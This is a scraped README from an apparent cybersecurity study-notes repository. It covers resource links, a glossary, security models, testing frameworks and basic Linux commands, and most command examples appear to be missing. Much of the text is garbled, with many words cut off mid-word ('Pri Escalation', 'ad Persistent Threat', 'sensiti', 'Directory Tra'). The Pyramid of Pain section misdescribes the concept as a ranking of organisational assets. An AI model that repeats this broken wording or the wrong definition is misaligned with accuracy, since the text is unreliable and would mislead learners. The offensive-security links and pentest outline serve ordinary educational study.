CTF思路
点击放大
CyberSecurity - A collection of essential and foundational cyberse
项目说明
<h2 align="center">Remember to take a look at the <code>/More</code> folder! ;)</h2>
<br>
<di="center">
!Hits
!GitHub Stars
!Last Commit
!Repo Size
<!-- !GitHub Forks
!GitHub Watchers -->
</div>
<p align="center">
Thank you for exploring this project! I hope you will find the content and perhaps e sharing with others. This project represents years of dedication, learning, and refinement, fueled by countless hours and cups of coffee ☕. If you’d like to support its continued growth, your contribution would be highly appreciated.
</p>
<!-- <br> -->
<!--
<p align="center">
<a href=" target="_blank">
<img src=" alt="Buy Me A Coffee" height="50px">
</a>
</p>
-->
List of Contents
1. Links
2. CTF Sites
3. Books
4. Services
5. Terms
6. Principles and Standards
1. Security Models
1. CIA Triad
2. DAD Triad
3. The Bell-La Padula Model
4. Biba Model
5. Clark-Wilson Model
2. Trust and Access Control
1. Principles of Pri
2. Zero Trust Trust but
3. Threat Identification and Management
1. Threat Modeling and Incident Response
2. vs Risk
3. Threat intelligence Classifications
4. Threat Intelligence Tools
5. The Pyramid of Pain
4. Ethical and Legal Aspects
5. Security Assessment Frameworks and Methodologies
1. Black, Grey, & White Box Testing
2. OSSTMM
3. OWASP
4. NIST
5. NCSC CAF
6. MITRE ATT&CK
7. Unified Kill chain
6. Global Security Standards
1. ISO/IEC 19249
2. ISO27001
7. Operational Roles and Career De
7. Linux Commands
8. Tools (CLI)
1. Aircrack-ng
2. Gobuster
3. Feroxbuster
4. Hashcat
5. Hydra
6. John The Ripper
7. Metasploit
8. Netcat
9. Nikto
10. Nmap
11. SQLMap
9. Tools (GUI)
1. Autopsy
2. Burp Suite
3. Nessus
4. Wireshark
10. Text Editors
1. Nano
2. VIM
11. Networking
1. Internet Protocol (IP)
2. The Router
3. IPv4 Classes
4. Subnetting
5. Address Resolution Protocol (ARP)
12. Web Exploitation
1. Content Discovery
2. SQL Injection
3. Command Injection
4. Directory Tra
5. Authentication Bypass
6. Insecure Direct Object Reference (IDOR)
7. File Inclusion (LFI/RFI)
8. Cross Site Request Forgery (CSRF)
9. Cross Site Scripting (XSS)
10. Server Side Request Forgery (SSRF)
11. Server Side Template Injection (SSTI)
12. Server Side Includes (SSI)
13. Digital Forensics
1. File Analysis
2. PCAP Analysis
3. Steganography
4. Memory Analysis
5. Disk Imaging
14. Binary Exploitation
1. Registers
2. The Stack
3. Calling Con
4. Global Offset Table (GOT)
5. Buffers and Buffer O
6. Return Oriented Programming (ROP)
7. Binary Security
8. The Heap and Exploitation
9. Format String
10. Integer O
11. ASLR Bypass
15. Reverse Engineering
1. Assembly Language
2. Disassemblers & Debuggers
3. Decompilers
16. Cryptography
1. Genating Keys
2. Cryptographic Methods
3. Encoding
4. Hashing
5. Ciphers
6. Encryption (RSA)
17. Windows Exploitation
1. Acti
2. Windows Reverse Shells
3. Samba (SMB)
18. Shells and Pri Escalation
1. TTY Shell
2. Pri Escalation
19. & Threats
1. Social Engineering
2. Denial of Service (DoS)
3. Misconfigurations
20. Miscellaneous
Links
Abuse.ch - a collection of malware and threat intelligence feeds.
Ahmia - search engine for hidden services on the Tor network
AI Generated Photos - 100.000 AI generated faces.
Aperisolve - all in one steganography analysis
Archive.org - internet Archieve
ASCII Con - Hex, decimal, binary, base64, and ASCII con
Assembly Tutorials - assembly tutorials
Base64 Decodr/Encoder - base64 decoder/encoder
Bcrypt Generator - a simple bcrypt generator
Bug Bounty - a list of bug bounty programs
Can I use - provides up-to-date browser support tables for support of front-end web technologies.
Censys - search engine for internet connected devices
Cheatography - over 3,000 free cheat sheets, re aids and quick references.
CodeBeautify - code Beautifier, and con
Common ports - a lists of the most common ports
Cipher Identifier - cipher identifier
Convert Binary - a wide range of different con for binary numbers
Con - convert SQL to CSV
Crackstation (Rainbow tables) - hash cracker
CSS Reference - CSS reference
C - a platform for sharing and discussing cybersecurity .
C - C ad database.
C - list of publicly known cybersecurity .
CVS - Scoring System Calculator
CyberChef - a web app for encryption, encoding, compression and data analysis.
Cybercrime Tracker - monitors and tracks malware families that are used to perpetrate cyber crimes.
crt.sh - Certificate Transparency Log Search Engine for subdomain enumeration.
CTF 101 - learn the different CTF topics in cybersecurity
CTF Cryptography - ctf cryptography for beginners
dCode - dcode.fr has many decoders for a lot of ciphers
dehashed - is a hacked database search engine.
Diff Checker - compare images
DNSDumpster - free domain research tool that can disco related to a domain
DogBolt - decompiler explorer
EmailHippo - a free email tool.
Emkei - fake mail generator
Explain Shell - a tool to help you understand shell commands.
ExploitDB - searchable archive from The Exploit Database.
fakenamegenerator - your randomly generated identity.
Feodo Tracker - a project by abuse.ch tracking the C2 infrastructure of the Feodo Tracker Botnet.
File Signature - a table of file signatures (aka "magic numbers")
File Signature Wiki - another list of file signatures (aka "magic numbers")
Forensically - a tool to analyze images.
Godbolt - compiler explorer
Google ad search - google dorking made easy
Google Hacking Database - juicy information found by dorking
GTFOBins - list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
HackerOne - HackerOne is a coordination and bug bounty platform.
Hacking Glossary - a glossary of hacking terms made by HackTheBox.
Hash Analyzer - tool to identify hash types
Hash Identifier) - hash identifier using CyberChef
have i been pwned? - check if you have an account that has been compromised in a data breach.
HexEd - HexEd is a powerful online hex editor running in your web browser
hilite.me - converts your code snippets into pretty-printed HTML formats
HSV to RGB - HSV to RGB color con
HTML Reference - HTML reference
HTTrack - website copier
Hunter.io - find email addresses in seconds.
Image Color Picker - select a color and get the HTML Color Code of this pixel
Intelix - Search Tor, I2P, data leaks and the public web by email, domain, IP, CIDR, Bitcoin address and more.
JoomScan - Joomla Scanner
k8s-security - kubernetes security notes and best practices.
Kali Linux Tutorials - Kali Linux Tutorials
Keybase - it's open source and powered by public-key cryptography.
LFI - learn about local file inclusion
Linux Commands - a list of linux commands
malc0de - malware search engine.
Malware Bazaar - malware search engine.
MD5 Online - md5Online offers several tools related to the MD5 cryptographic algorithm.
Morse Code Translator a morse code translator
Morse Code Adapti Decoder - a morse code adapti decoder
Morse Code Audio Decoder - a morse code audio decoder
Morse Code Sound & Listener - a morse code sound & listener
Namechk - check if your desired username is a on over 500 social networks (username OSINT).
NerdyData - the search engine for source code
ntlm.pw - NTLM password cracker
Obser by Mozilla- set of tools to analyze your website.
Office Recovery - repair corrupt JPEG, PNG, GIF, BMP, TIFF, and RAW images.
PDF24 - free and easy to use online PDF tools
Phishtool - PhishTool is a free phishing simulation tool.
NPiet - Piet is an esoteric programming language based of using colored pixels to represent commands.
Ping.eu - online Ping, Traceroute, DNS lookup, WHOIS and others.
pipl - is the place to find the person behind the email address, social username or phone number.
Pixrecovery - repair corrupt JPEG, PNG, GIF, BMP, TIFF, and RAW images.
Rapid7 - and exploit database.
Regex101 - online regex tester and debugger: PHP, PCRE, Python, Golang and Ja.
RegEx Pal - online regex testing tool + other tools.
RegExr - online tool to learn, build, & test Regular Expressions (RegEx / RegExp).
Re - reverse shell generator.
RequestBin - RequestBin gives you a URL that collects requests so you can inspect them in a human-friendly way
RGBA Color Picker - an RGBA color picker
ShellCheck - finds bugs in your shell scripts.
Shodan - learn pieces of information about the client’s network, without actively connecting to it.
sploitus - the exploit and tools database.
SRI Hash Generator - Subresource Integrity (SRI) Hash Generator
SSL Scanner - analyze website security.
SSL Scan - sslscan tests SSL/TLS enabled services to disco cipher suites
Steganographic Decoder - decodes the payload that was hidden in a JPEG image or a WAV or AU audio file
Stego Tricks - learn stego tricks
Subnet Calculator - IPv4 to IPv6 subnet calculator
Subnet Cheatsheet - subnet cheatsheet
SSL Blacklist - a free SSL blacklist that can be used to detect malicious SSL certificates.
Tabulate - create clean looking tables
Talos Intelligence - threat intelligence from Cisco.
Threat Fox - a resource for sharing indicators of compromise (IOCs).
TIO - TIO is a free online interpreter, compiler and REPL.
URL Haus - a project by abuse.ch to collect and classify malicious URLs.
urlscan.io - service to scan and analyse websites.
urlvoid - this service helps you detect potentially malicious websites.
User-Agent Switcher switch and manage user agents
Vega - web security scanner and web security testing platform
- one source for free DNS related tools and information.
- analyze suspicious files and URLs to detect types of malware.
Subnet Calculator - a subnet calculator
WebToolHub-LE - HTML hyperlink extractor
WebToolHub - lots of different web tools
WhatsMyName - social media username enumeration
WHOIS lookup - best whois lookup
Wigle - is a website for collecting information about the different wireless hotspots around the world
WPScan - WordPress security scanner
CTF Sites
TryHackMe - TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs.
HackTheBox - HackTheBox is a massi cybersecurity practical training platform.
CTFLearn - An online platform built to help ethical hackers learn, practice, and compete.
Challenges - Reverse engineering CTF training platform
Cryptohack - Cryptography learning platform.
Root Me - Root Me is a platform for e to test and impro in computer security and hacking.
ROP Emperium - ROP Emporium is a series of challenges based around Return Oriented Programming (ROP).
pico CTF - picoCTF is a free computer security game targeted at middle and high school students.
Books
Services
A of services that can be useful for cybersecurity professionals.
Network security
An Intrusion Detection and Pre System (IDPS) or simply Intrusion Pre System (IPS) is a system that can detect and prevent network intrusions. IDS setups can be divided based on their location in the network into:
Host-based IDS (HIDS): Installed on an OS to monitor inbound/outbound host traffic and running processes.
Network-based IDS (NIDS): A dedicated device or ser network traffic via a switch’s monitor port to detect malicious activity across the network or VLANs.
A Private Network (VPN) encrypts your internet connection to protect your privacy and security.
Some of these pro are:
* IVPN
* Mullvad
* ProtonVPN
A Private Server (VPS) is an isolated en created on a physical ser technology.
Some of these pro are:
* Vultr
* Linode
* DigitalOcean
* OneHostCloud
Terms
| Term | Description |
|--------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------|
| Acti | Directly interacting with the system. |
| Asymmetric encryption | Uses different keys to encrypt and decrypt. |
| APT | Ad Persistent Threat (team/group or e). |
| Authentication | Proving that the user is whom they claim to be. |
| Broken Access Control | Example: We cannot let anyone view the webmail before logging in or modify someone else's account. |
| Brute force | Attacking cryptography by trying every possible password or key. |
| Cipher | A method of encrypting or decrypting data. Modern ciphers are cryptographic, but there are non-cryptographic ones like Caesar cipher. |
| Ciphertext | The result of encrypting plaintext; encrypted data. |
| Credential Stuffing | Attack where compromised credentials are used to gain unauthorized access to an account. |
| Cryptanalysis | Attacking cryptography by finding a weakness in the underlying mathematics. |
| Defacing | Modifying a website to display a message or image. |
| Defensi | Protecting a network and systems by analyzing and securing against digital threats. |
| Defence-in-Depth | A security strategy in multiple levels, also known as Multi-Le. |
| Dynamic SSH Tunneling | Dynamic port forwarding turns your SSH client into a SOCKS proxy server. |
| Encoding | A form of data representation (e.g., base64), not encryption, and immediately re. |
| Encryption | Transforming data into ciphertext using a cipher. |
| Firewall | A firewall restricts connections based on predefined rules, controlling what can enter or leave a network. |
| Hash collision | When two different inputs generate the same hash output. |
| IDOR | Insecure Direct Object Reference, a type of access control . |
| IP Spoofing | Creating IP packets with a modified source address to hide the sender's identity or impersonate another system. |
| IPP | Internet Printing Protocol. |
| IaaS | Infrastructure-as-a-Service. |
| Identification and Authentication Failure | Allowing brute force attacks or storing passwords in plain text. |
| Identification | The ability to uniquely identify a user. |
| Intrusion Detection System (IDS) | Detects system and network intrusions and attempts. |
| Intrusion Pre System (IPS) | Blocks detected intrusions and attempts to prevent network breaches. |
| Key | Information needed to decrypt ciphertext and retrie. |
| Offensi | Breaking into systems, exploiting software bugs, and finding loopholes to gain unauthorized access. |
| Packet sniffing | Capturing data packets on a network. |
| Passi | Relying on publicly a information for gathering intelligence. |
| Passphrase | A password-like string used to protect a key. |
| Password Spraying | Brute force attack using a list of usernames and a single password to gain system access. |
| Penetration Tester | A professional who tests systems to find exploitable . |
| Plaintext | Unencrypted data, often text but could be any file like a photograph. |
| Proxy | A ser as a gateway between an application and the internet. |
| Private Blog Network (PBN) | A network of websites used to build links to impro engine rankings. |
| Port Forwarding | Technique allowing external devices to access services on private networks. |
| RCE | Remote Code Execution allowing commands to be executed on a target system. |
| Rainbow tables | Lookup tables of hashes to corresponding plaintexts used in password cracking. |
| Red Teamer | Plays the role of an ad, simulating attacks on an organization. |
| Reverse SSH Connection | A remote system initiates a connection to your local system. |
| SAM | Security Account Manager, a Windows database storing user accounts and security descriptors. |
| SIEM | Security Information and Event Management, a system that aggregates and analyzes security data. |
| SSH Tunneling | Transporting arbitrary data over an encrypted SSH connection. |
| SSL/TLS | Cryptographic protocols for secure data transmission; SSL is outdated, TLS is the modern . |
| Security Engineer | Designs, monitors, and maintains security controls to prevent cyberattacks. |
| Symmetric encryption | Uses the same key to encrypt and decrypt. |
| VPS | Private Server, a type of IaaS. |
| appliance | A network traffic confidentiality and integrity by pre third-party access and modification. |
| XSS | Cross-Site Scripting, a in web applications that can be used to execute malicious scripts. |
Forms of Malwares/Attacks
There are several types of malware and attacks that can compromise systems and data. Here are some common ones.
| Term | Description |
|---------------------|---------------------------------------------------------------------------------------------------------------------------------------------|
| Virus | Malware that infects a computer by inserting itself into programs, potentially causing data and program damage. Needs user interaction to spread. |
| Worm | Malware that replicates itself and spreads without user interaction, often through networks, email, or other means. |
| Trojan horse | Malware disguised as a legitimate program that performs harmful actions once inside a system. |
| Spyware | Malware that secretly collects information about a user's acti and reports it back to the attacker. |
| Phishing | A technique to steal sensiti by posing as a legitimate organization or indi. |
| DoS attack | O a system with traffic to disrupt its services. |
| DDoS attack & botnets| A distributed denial-of-service attack using a network of compromised devices to o a target with traffic. |
| Spam | Unwanted email that can o recipients and may spread malware or phishing attempts. |
| Ransomware | Malware that encrypts data and demands payment for decryption. |
| Rootkit | Malware that grants an attacker root access and conceals its presence from the user. |
| Adware | Malware that displays unwanted ad on a computer. |
Principles and Standards
Security Models
CIA Triad
CIA Triad is a model designed to guide policies for information security within an organisation. It consists of three core principles being: Confidentiality, Integrity, and A.
DAD Triad
The security of a system is attacked through one of several means. It can be via the disclosure of secret data, alteration of data, or destruction of data. It is the opposite of the CIA triad.
Protecting against disclosure, alteration, and destruction/denial is very important, as this protection is equi to working to maintain confidentiality, integrity and a.
The Bell-La Padula Model
The Bell-LaPadula Model aims to achieve confidentiality by specifying three rules:
1. Simple Security Property: This property is referred to as “no read up”; it states that a subject at a lower security le read an object at a higher security level. This rule prevents access to sensiti above the authorized level.
2. Star Security Property: This property is referred to as “no write down”; it states that a subject at a higher security le write to an object at a lower security level. This rule prevents the disclosure of sensiti to a subject of lower security level.
3. Discretionary-Security Property: This property uses an access matrix to allow read and write operations. An example access matrix is shown in the table below and used in conjunction with the first two properties.
The first two properties can be summarized as “write up, read down.” You can share confidential information with people of higher security clearance (write up), and you can recei information from people with lower security clearance (read down).
| Subjects | Object A | Object B |
| --- | --- | --- |
| Subject 1 | Write | No access |
| Subject 2 | Read/Write | Read |
Limitation: It was not designed to handle file-sharing.
Biba Model
The Biba Model aims to achie by specifying two main rules
1. Simple Integrity Property: This property is referred to as “no read down”; a higher integrity subject should not read from a lower integrity object.
2. Start Integrity Property: This property is referred to as “no write up”; a lower integrity subject should not write to a higher integrity object.
Limitation: Does not handle internal threats (insider threat).
Clark-Wilson Model
The Clark-Wilson Model also aims to achie by using the following concepts:
Trust and Access Control
Principles of Pri
It is vital to administrate and correctly define the levels of access to an indi require. These levels are determined on two primary factors:
1. The indi's role/function within the organisation
2. The sensitivity of the information being stored on the system
When managing access rights, two crucial concepts are used: Pri Identity Management (PIM) and Pri Access Management (PAM).
What is essential when discussing pri and access controls is the principle of least pri. Simply, users should be given the minimum amount of pri, and only those that are absolutely necessary for them to perform their duties.
Zero Trust Trust but
Trust in cybersecurity is addressed through two key principles:
1. Trust but : the actions of trusted entities through automated security mechanisms like logs and intrusion detection.
2. Zero Trust: Assume no trust and require authentication and authorization for all access, reducing the potential impact of breaches. Implementations like microsegmentation enhance security.
Threat Identification and Management
Threat Modeling and Incident Response
Threat modelling is the process of re, improving, and testing the security protocols in place in an organisation's information technology infrastructure and services.
This process is very similar to a risk assessment made in workplaces for employees and customers. The principles all return to:
It is, however, a complex process that needs constant review and discussion with a dedicated team. An effecti model includes:
* Threat intelligence
* Asset identification
* Mitigation capabilities
* Risk assessment
To help with this, there are frameworks such as STRIDE (Spoofing identity, Tampering with data, Repudiation threats, Information disclosure, Denial of Service and Ele of pri) and PASTA (Process for Attack Simulation and Threat Analysis)
vs Risk
1. : are weaknesses that can be exploited.
2. Threat: A threat represents the possibility of harm resulting from the exploitation of a .
3. Risk: Concerned with the likelihood of a threat actor exploiting a and the potential impact on the business. Risk assessment in e the probability and consequences of security incidents.
Threat intelligence Classifications
Threat Intel is geared towards understanding the relationship between your operational en and your ad. With this in mind, we can break down threat intel into the following classifications:
Threat intelligence Tools
The Pyramid of Pain
The Pyramid of Pain is a cybersecurity concept that refers to a hierarchy of assets within an organization that, if compromised, would cause the most significant harm. The pyramid's height represents the level of harm caused by a security breach, with the most critical assets at the top and less critical assets at the bottom.
<img style="display:block; margin:0 auto;"
src="./Images/Pyramid-of-pain.png" alt="Pyramid of pain" width="480"/>
The idea is that organizations should focus their cybersecurity efforts on the assets at the top of the pyramid to prevent the most significant damage from a security breach. The components of the Pyramid of Pain may vary depending on the organization and its specific needs, but typically include sensitive data, critical infrastructure, key personnel, and reputation.
Ethical and Legal Aspects
Go & Regulation
Benefits include better security posture, stakeholder confidence, regulatory compliance, alignment with business objectives, informed decision-making, and competiti.
#### De Go Documents
De go documents can involve the following steps:
1. Identify Scope and Purpose: Define what the document will cover and its necessity.
2. Research and Review: In laws, regulations, and best practices to make the document comprehensive.
3. Draft the Document: Create an actionable, specific draft aligned with organizational goals.
4. Review and Approval: Invol for feedback and final approval.
5. Implementation and Communication: Distribute the document and educate employees.
6. Review and Update: Regularly update the document for relevance and compliance.
Information Security Frameworks
Policies: Formal statements that set organizational goals and how to achieve them.
Standards: Specific requirements for processes, products, or services.
Guidelines: Non-mandatory recommendations for achieving objectives.
Procedures: Step-by-step instructions for specific tasks.
Baselines: Minimum security standards that must be met.
#### Preparing a Password Policy - Real-world Scenario
Let's take a real-world scenario of preparing a password policy.
#### Making an Incident Response Procedure - Real-world Scenario
Now, let's take a real-world scenario of making an incident response procedure.
Penetration Tests
Before a penetration test starts, a formal discussion occurs between the penetration tester and the system owner. tools, techniques, and systems to be tested are agreed on. This discussion forms the scope of the penetration testing agreement and will determine the course the penetration test takes.
Rules of Engagement (ROE)
The ROE is a document that is created at the initial stages of a penetration testing engagement. This document consists of three main sections:
* Permission
* Test scope
* Rules
Security Assessment Frameworks and Methodologies
Penetration Testing Methodologies
The steps a penetration tester takes during an engagement is known as the methodology. All of them have a general theme of the following stages:
| Stage | Description |
|---|---|
| Information Gathering | This stage in collecting as much publically accessible information about a target/organisation as possible, for example, OSINT and research. Note: This does not invol any systems. |
| Enumeration/Scanning | This stage in disco applications and services running on the systems. For example, finding a web server that may be potentially . |
| Exploitation | This stage in le discovered on a system or application. This stage can involve the use of public exploits or exploiting application logic. |
| Pri Escalation | Once you ha exploited a system or application (known as a foothold), this stage is the attempt to expand your access to a system. You can escalate horizontally and , where horizontally is accessing another account of the same permission group (i.e. another user), whereas is that of another permission group (i.e. an administrator). |
| Post-exploitation | This stage in a few sub-stages: <ol><li>What other hosts can be targeted (pi)</li><li>What additional information can we gather from the host now that we are a pri user</li><li>Co your tracks</li><li>Reporting</li></ol> |
Black, Grey & White Box Testing
There are three primary scopes when testing an application or service.
| Box | Description |
|---|---|
| Black | This testing process is a high-le where the tester is not given any information about the inner workings of the application or service. |
| Grey | The tester will have some limited knowledge of the internal components of the application or piece of software. |
| White | The tester will have full knowledge of the application and its expected behaviour. |
OSSTMM
The Open Source Security Testing Methodology Manual provides a detailed framework of testing strategies for systems, software, applications, communications and the human aspect of cybersecurity.
OWASP
OWASP, the Open Web Application Security Project, is a nonprofit foundation that works to impro security. It provides free, openly a articles, methodologies, documentation, tools, and technologies in the field of web application security.
OWASP is known for its widely-referenced OWASP Top 10, a standard awareness document for de and web application security that lists the most critical security risks to web applications.
NIST Cybersecurity Framework 2.0
The NIST Cybersecurity Framework is a popular framework used to improve an organisations cybersecurity standards and manage the risk of cyber threats.
The framework is divided into six core functions:
* Govern: Establish o to manage and reduce cybersecurity risks across the organization.
* Identify: Understand your systems, assets, and risks.
* Protect: Implement safeguards to ensure services' security.
* Detect: Identify cybersecurity threats and breaches in real-time.
* Respond: Take action when cybersecurity events are detected.
* Recover: Restore operations and impro post-incident.
NCSC CAF
The NCSC Cyber Assessment Framework (CAF) is a structured guide designed to ensure the security of organizations, particularly those part of the Critical National Infrastructure.
The CAF aligns with NIS regulations and is structured around 14 objectives, categorized into four main goals: managing security risk, protecting against cyber attacks, detecting cybersecurity events, and minimizing the impact of incidents. It provides comprehensi of good practice for organizations to assess and impro security posture
Mitre ATT&CK
The MITRE ATT&CK framework is a knowledge base of ad tactics and techniques based on real-world obser. It is used as a foundation for the de of specific threat models and methodologies in the private sector, go, and the cybersecurity product and service community.
Unified Kill Chain
The Unified Kill Chain is a framework that combines the Lockheed Martin Cyber Kill Chain and the MITRE ATT&CK framework to provide a comprehensive view of the cyber kill chain. It is designed to help organizations understand and respond to cyber threats more effectively.
The Unified Kill Chain consists of the following stages:
1. Reconnaissance: Gathering information about the target.
2. Weaponization: De or obtaining the tools needed to exploit .
3. Delivery: Deli the weaponized payload to the target.
4. Exploitation: Exploiting to gain access to the target.
5. Installation: Installing malware or other tools to maintain access to the target.
6. Command and Control: Establishing communication channels to control the compromised system.
7. Actions on Objectives: Achieving the attacker's goals, such as stealing data or disrupting operations.
See the 18 phases of attack here.
Global Security Standards
ISO/IEC 19249
ISO/IEC 19249 outlines architectural and design principles for creating secure IT products and systems
1. Least Pri: This principle emphasizes pro the minimum permissions necessary for indi or entities to perform their tasks. (Design Principle: 1)
2. Attack Surface Minimization: It focuses on reducing the potential points of attack by eliminating unnecessary services and reducing . (Design Principle: 2)
3. Centralized Parameter : This principle suggests centralizing the of input parameters to prevent threats that may exploit . (Design Principle: 3)
4. Centralized General Security Services: It ad for centralizing security services such as authentication to enhance control and reduce potential points of failure. (Design Principle: 4)
5. Preparing for Error and Exception Handling: This principle emphasizes designing systems to handle errors and exceptions gracefully and securely, ensuring they do not leak sensiti. (Design Principle: 5)
The fi principles outlined in ISO/IEC 19249:
1. Domain Separation: Components are grouped into distinct entities, each with its own domain and set of security attributes. This separation helps control access and pri. (Architectural Principle: 1)
2. Layering: The system is structured into abstract levels or layers, enabling the imposition of security policies at different levels and facilitating of system operations. (Architectural Principle: 2)
3. Encapsulation: In hiding low-le and pre direct manipulation of data by pro specific methods, similar to object-oriented programming, to ensure data integrity. (Architectural Principle: 3)
4. Redundancy: Ensures a and integrity by implementing redundancy measures. Examples include redundant power supplies or RAID configurations in data storage. (Architectural Principle: 4)
5. : Sharing a single set of hardware among multiple operating systems, which enhances security boundaries and containment of malicious programs, particularly relevant in the context of cloud services. (Architectural Principle: 5)
ISO27001
ISO (the International Organization for Standardization) is a worldwide federation of national standards bodies (ISO member bodies), where ISO27001 is an international standard on how to manage information security.
An ISMS consists of the policies, procedures, guidelines, and associated resources and acti, collectively managed by an organization, in the pursuit of protecting its information assets.
It is a systematic approach for establishing, implementing, operating, monitoring, re, maintaining and improving an organization’s information security to achie objectives. It is based on a risk assessment and the organization’s risk acceptance levels designed to effectively treat and manage risks.
Operational Roles and Career De
Hat Categories
Hackers are sorted into three hats, where their ethics and moti behind their actions determine what hat category they are placed into.
| Hat | Description |
|---|---|
| Black hat | These people are criminals and often seek to damage organisations or gain some form of financial benefit at the cost of others. |
| Grey hat | These people use their skills to benefit others often; however, they do not respect/follow the law or ethical standards at all times. |
| White hat | These hackers are considered the "good people". They remain within the law and use their skills to benefit others. |
Career paths
| Career | Description |
|---|---|
| Security Analyst | Responsible for maintaining the security of an organisation's data |
| Security Engineer | Design, monitor and maintain security controls, networks, and systems to help prevent cyberattacks |
| Incident Responder | Identifies and mitigates attacks whilst an attackers operations are still unfolding |
| Digital Forensics Examiner | Responsible for using digital forensics to in incidents and crimes |
| Malware Analyst | Analyses all types of malware to learn more about how they work and what they do |
| Penetration Tester | Responsible for testing technology products for security loopholes |
| Red Teamer | Plays the role of an ad, attacking an organisation and pro feedback from an enemies perspective |
Linux Commands
Essential command-line tools for cybersecurity work as well as some other external tools that are useful for tasks.
<details>
<summary>List of contents</summary>
1. File & Directory Management
2. User & Permission Management
</details>
<!-- File & Directory Management -->
<h1 align="center">File & Directory Management</h1>
In this section: pwd, ls, tree, mkdir, touch, cat, stat, mv, rm, ln (symbolic links), apt, Operators, File Descriptors
<Details open>
<summary>Hide File & Directory Management Commands</summary>
pwd
Find the full Path to our current working directory
ls
List files and directories.
Key options: -l = long listing format -a = include hidden files (starting with .) -h = human-readable sizes (e.g., KB, MB) -t = sort by modification time (newest first) -r = reverse order of sort -S = sort by file size
You can combine options, e.g., ls -lahtrS
tree
Displays the directory structure in a tree-like format.
Key options: -a = show hidden files -d = list directories only -L <level> = limit the depth of the directory tree displayed -h = human-readable sizes -f = print the full path prefix for each file
mkdir
Used for creating directories.
Key options: -p = create parent directories as needed (e.g., mkdir -p Folder/i/am/in) -v = output, showing created directories
touch
Used to create an empty file.
cat
Display file contents or combine multiple files.
Key options: -n = show numbers -b = show numbers for non-blank lines
stat
Displays detailed information about gi or file systems.
These informations can be: file name, file size, blocks, type, inode, UID, GID, access, modify, change and creation times.
mv
Move or rename files and directories.
rm
Used to remo or directories.
Key options: -v = output, showing what is being removed -r = Deletes every file in the directory -f = Suppresses all warning prompts
ln (symbolic links)
Creates symbolic links (shortcuts) to files or directories.
This creates a symbolic link named flag that points to the file /root/flag.txt.
You can also use it with other commands, such as cat to read the contents of the file through the symbolic link:
Which will display the contents of the file /root/flag.txt.
apt
apt is a command-line utility for installing, updating, removing, and otherwise managing debian packages.
Operators
> redirects command output to a file, replacing its contents. >> appends command output to the end of a file, keeping existing data. | pipes the output of one command as input to another command.File Descriptors
In Unix-like operating systems, file descriptors are integer handles used to access files or input/output streams. The standard file descriptors are:
Data Stream for Input → STDIN – 0
Data Stream for Output → STDOUT – 1
Data Stream for Output that relates to an error occurring. →STDERR – 2
To redirect Redirect STDERR to /dev/null, which is a special file that discards all data written to it, you add 2>/dev/null to your command. This is useful for suppressing error messages.
Redirect STDOUT and STDERR to Separate Files
</Details>
<!-- User & Permission Management -->
<h1 align="center">User & Permission Management</h1>
In this section: whoami, adduser & addgroup, chmod, chown, sudo
<Details open>
<summary>Hide User & Permission Management Commands</summary>
whoami
See the current user that is logged in to the system.
adduser & addgroup
In Linux,
adduser and addgroup are commands used to create new users and groups, respectively.The syntax for both of these commands are adduser username and addgroup groupname.
Add a user to a group
> You can add a user to multiple groups by separating the group names with commas.
chmod
Chmod allows you to change the permissions of a file or directory.
Permissions
| Digit | Meaning |
|----------|:-------------:|
| 1 | That file can be executed |
| 2 | That file can be written to |
| 3 | That file can be executed and written to |
| 4 | That file can be read |
| 5 | That file can be read and executed |
| 6 | That file can be written to and read |
| 7 | That file can be read, written to, and executed |
To make a binary file just executable for the owner of the file, you can use:
chown
Change the owner and/or group of a file or directory.
Key options: -R = recursively change ownership of files and directories within a directory -v = output, showing what is being changed
sudo
Sudo allows a permitted user to execute a command as the superuser or another user, as specified by the security policy.
Key options: -u <user> = specify user su = change to root -l = list current sudo pri
</Details>
<!-- Process & System Monitoring -->
<h1 align="center">Process & System Monitoring</h1>
In this section: ps, top, htop, lsof, kill, free, df, du, ncdu, history, uname
<Details open>
<summary>Hide Process & System Monitoring Commands</summary>
ps
Show the current running processes.
Key options: -f = full format listing -o = user-defined output format (e.g., ps -eo pid,comm) -a = all processes from all users -u user-oriented format -x will display all processes e not associated with the current tty -t Processes associated with the terminal run
top
top command is used to show the Linux processes. It provides a dynamic real-time view of the running system
Key options: -i <seconds> = delay between updates (default is 3 seconds)
htop
htop is an interacti for Unix systems.
Key options: -C Use colors in the output -d Delay between updates, in tenths of seconds -u Show only processes owned by a specified user -p Show only processes with specified process IDs -s Sort by specified column (use --sort-key help for a list) -t Tree view -U Do not use unicode but plain ASCII
lsof
Displays information about files opened by processes. It can be used to identify which processes are using specific files, network connections, or devices.
Key options: -i = Show network connections (e.g., lsof -i :80 for port 80) -u = Show files opened by a specific user (e.g., lsof -u username) -p <PID> = Show files opened by a specific process ID -n = Show numerical addresses instead of resolving hostnames
kill
Used for terminating processes by their Process ID (PID).
The most commonly used signals:
1 (HUP) - Reload a process.
9 (KILL) - Kill a process.
15 (TERM) - Gracefully stop a process.
free
Displays memory usage statistics.
Options: -b = to display the amount of memory in bytes -k = to display the amount of memory in kilobytes -m = to display the amount of memory in megabytes -g = to display the amount of memory in gigabytes -h = to display the amount of memory in a human-readable format -s <sec> = to update the output every X seconds
df
Shows disk space usage of file systems.
Key options: --block-size=SIZE = scale sizes by SIZE. E.g., -BM prints sizes in units of 1,048,576 bytes. --exclude-type=TYPE = exclude file systems of type TYPE -h = print sizes in human readable format (e.g., 1K 234M 2G) -T = print file system type -t = limit listing to file systems of type TYPE
du
Estimates file and directory space usage.
Key options: -a = to display an entry for each file in a file hierarchy -c = displays total size at the end -d <number> = to specify the depth of the directory tree to be displayed -h = to get a human-readable output -L = dereference all symbolic links -s = to get the total size of the directory --time get the results with timestamps of last modification
ncdu
Disk usage analyzer with an ncurses interface (Part of the ncdu suite).
Options: -x = This option prevents ncdu from following symbolic links. --si = This option makes ncdu use powers of 1000 instead of 1024 for sizes.
history
Displays a list of commands used in the terminal session
uname
See basic information about the operating system name and system hardware.
Key options: -a = print all information -s = print the kernel name -n = print the network node hostname -r = print the kernel release -v = print the kernel -m = print the machine hardware name -p = print the processor type (if a) -o = print the operating system name
neofetch
Neofetch displays information about your operating system, software and hardware in an aesthetic and pleasing way.
Install: sudo apt install neofetch or see here.
</Details>
<!-- File Inspection & Forensics -->
<h1 align="center">File Inspection & Forensics</h1>
In this section: file, strings, exiftool, hexdump, xxd, objdump, hexeditor, binwalk
<Details open>
